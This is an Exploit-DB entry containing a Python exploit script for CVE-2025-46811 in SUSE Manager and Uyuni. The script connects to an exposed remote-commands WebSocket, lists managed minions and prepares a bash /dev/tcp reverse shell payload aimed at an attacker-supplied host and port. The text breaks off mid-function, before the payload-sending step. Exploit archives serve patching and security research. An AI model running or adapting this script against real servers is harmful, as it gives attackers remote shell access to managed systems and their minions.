Exploit-DB #52527
Description: SUSE Manager 4.3.15 - Code Execution
Type: webapps
Platform: multiple
Date: 2026-04-30
Author: wjmaj98

Exploit:
# Exploit Title: SUSE Manager 4.3.15 - Code Execution
# Date: 29.01.2026
# Exploit Author: Wiktor Maj
# Vendor Homepage: https://www.uyuni-project.org/
# Software Link: https://github.com/uyuni-project/uyuni
# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15
# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0
# CVE: CVE-2025-46811

# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.
# Set up a listener session in a separate terminal.
# After the payload is sent, switch to your listener terminal to check if a shell pops up.
# Example:
# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl


#### PROGRAM CONSTRAINTS ####
PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1"  # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args
CONNECTION_RETRIES = 4  # number of connection attempts
CONNECTION_DELAY_BETWEEN_RETRIES = 15  # seconds
WEBSOCKET_TIMEOUT = 10  # seconds
##############################

import argparse
import json
import socket
import ssl
import sys
import time
import websocket


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False)
    parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.")
    parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.")
    parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).")
    parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.")
    parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.")
    group = parser.add_mutually_exclusive_group()
    group.add_argument("--ssl", dest="ssl", action="store_true",
                       help="Use SSL/TLS for the WebSocket connection (default).")
    group.add_argument("--no-ssl", dest="ssl", action="store_false",
                       help="Disable SSL/TLS and use plaintext WebSocket.")
    parser.set_defaults(ssl=True)
    return parser.parse_args()


def resolve_target(hostname: str) -> str:
    return socket.gethostbyname(hostname)


def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:
    while True:
        try:
            message = websocket_connection.recv()
            if message:
                print("Received:", message)
                if isinstance(message, bytes):
                    message = message.decode("utf-8", errors="replace")
                return message
        except websocket.WebSocketTimeoutException as exception:
            raise RuntimeError("Failed to receive preview minions message") from exception


def decode_preview_minions_message(message: str) -> list[str]:
    try:
        preview_output = json.loads(message)
    except json.JSONDecodeError as exception:
        raise RuntimeError("Preview response is not valid JSON") from exception
    if (
        isinstance(preview_output, dict)
        and isinstance(preview_output.get("minions"), list)
        and preview_output["minions"]
        and all(isinstance(entity, str) for entity in preview_output["minions"])
    ):
        return preview_output["minions"]
    raise RuntimeError("Preview response expected non-empty 'minions' list")


def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:
    message = receive_preview_minions_message(websocket_connection)
    minions = decode_preview_minions_message(message)
    return minions


def select_minion(minions: list[str]) -> str:
    print("Available minions:")
    for minion_id, minion_name in enumerate(minions, start=1):
        print(f"{minion_id}) {minion_name}")
    prompt = "Select minion number (default is '1', or 'c' to cancel): "
    while True:
        choice = input(prompt).strip()
        if choice == "":
            return minions[0]
        if choice.lower() == "c":
            print("No minion selected. Exiting.")
            sys.exit(0)
        if choice.isdigit():
            index = int(choice)
            if 1 <= index <= len(minions):
                return minions[index - 1]
        print("Invalid selection.")


def connect_to_websocket(target_ip: str,
                         port: int,
                         use_ssl: bool,
                         sslopt: dict,
                     ) -> websocket.WebSocket:
    scheme = "wss" if use_ssl else "ws"
    try:
        return websocket.create_connection(
            f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands",
            timeout=WEBSOCKET_TIMEOUT,
            sslopt=sslopt,
        )
    except ssl.SSLError as exception:
        if "WRONG_VERSION_NUMBER" in str(exception):
            raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception
        raise
    except websocket.WebSocketBadStatusException as exception:
        if exception.status_code == 400:
            raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception
        raise
    except TimeoutError as exception:
        raise RuntimeError("Websocket is likely under firewall") from exception


def get_minions(target_ip: str,
                port: int,
                use_ssl: bool,
            ) -> tuple[websocket.WebSocket, list[str]]:
    sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
    for attempt in range(1, CONNECTION_RETRIES + 1):
        websocket_connection = None
        try:
            websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)
            websocket_connection.send(json.dumps({"preview": True, "target": "*"}))
            minions = receive_previe